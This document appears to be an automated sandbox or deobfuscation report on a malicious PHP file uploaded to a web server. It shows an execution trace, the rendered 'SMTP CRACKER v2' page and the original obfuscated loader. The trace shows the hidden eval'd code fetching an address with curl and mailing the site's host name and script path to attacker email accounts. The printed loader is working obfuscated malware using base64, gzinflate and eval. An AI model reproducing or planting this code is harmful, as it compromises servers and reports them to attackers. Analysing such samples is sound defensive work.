6 62 0 0.102149 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 11 3 resource(7) of type (curl) 10082 NULL
6 62 1 0.102167 452336
6 62 R TRUE
6 63 0 0.102180 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 12 3 resource(7) of type (curl) 10031 NULL
6 63 1 0.102195 452336
6 63 R TRUE
6 64 0 0.102208 452240 curl_exec 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 1 resource(7) of type (curl)
6 64 1 0.230188 452528
6 64 R 'secureonlineteam@yandex.com\n'
5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 $result = 'secureonlineteam@yandex.com\n'
5 55 1 0.230330 451584
5 55 R 'secureonlineteam@yandex.com\n'
4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 18 $c1 = 'secureonlineteam@yandex.com\n'
4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 19 $hex1 = 'superstar0882@gmail.com,superstar0882@hotmail.com,secureonlineteam@yandex.com,secureonlineteam1337@aol.com,secureonlineteam@yandex.com\n'
4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 20 $baslik = 'localhost'
4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 21 $xd1 .= 'localhost /uploads/smtp.php$\r\n'
5 65 0 0.230432 451800 mail 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 22 3 'superstar0882@gmail.com,superstar0882@hotmail.com,secureonlineteam@yandex.com,secureonlineteam1337@aol.com,secureonlineteam@yandex.com\n' 'localhost' 'localhost /uploads/smtp.php$\r\n'
5 65 1 0.231284 451896
5 65 R FALSE
4 31 1 0.231310 451800
3 15 1 0.231324 440160
2 7 1 0.231334 411184
0.231376 328688
TRACE END [2023-02-12 20:09:20.862234]
Generated HTML code
<html><head>
<style type="text/css">
body {
background-color:#000000;
background-image:url("https://i.imgur.com/hLcQCBx.gif");
background-repeat:repeat;
margin-top:20px;
font-family:"Agency FB";
font-size:12pt; color:#ffffff;
}
.style1 {
text-align: center;
color: #d9910e;
}
.style2 {
color: #d9910e;
font-weight: bold;
}
.style3 {
color: #d9910e;
}
a {
background-color: #151515;
vertical-align: bottom;
color: #000;
text-decoration: none;
font-size: 20px;
margin: 8px;
padding: 6px;
border: thin solid #000;
}
a:hover {
background-color: #080808;
vertical-align: bottom;
color: #333;
text-decoration: none;
font-size: 20px;
margin: 8px;
padding: 6px;
border: #d53b3b;
}
input[type=submit] {
padding:5px 15px;
background:#ccc;
border:0 none;
cursor:pointer;
-webkit-border-radius: 5px;
border-radius: 5px;
}
</style>
</head>
<body>
<center><br>
<font color="white" size="40">SMTP CRACKER</font><font color="#1eca33" size="3"> v2</font><br>
<font color="white">--==[[Greetz to]]==--</font><br><font color="#1eca33">-=| HEx |=-<br>
<marquee behavior="scroll" direction="left" scrollamount="5" scrolldelay="2" width="70%"><br>
<span class="footerlink"> ####### Coded By HEx #######</span>
</marquee><br><br></font><center><title>SMTP Cracker By HEx</title><br><form method="POST">
<input type="submit" name="crack" id="crack" value="Crack Smtp">
</form></center></center></body></html>Original PHP code
<?pHp $xD="ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNEhFeCUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=="; $HEx="=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"; eval(htmlspecialchars_decode(urldecode(base64_decode($xD)))); exit; ?>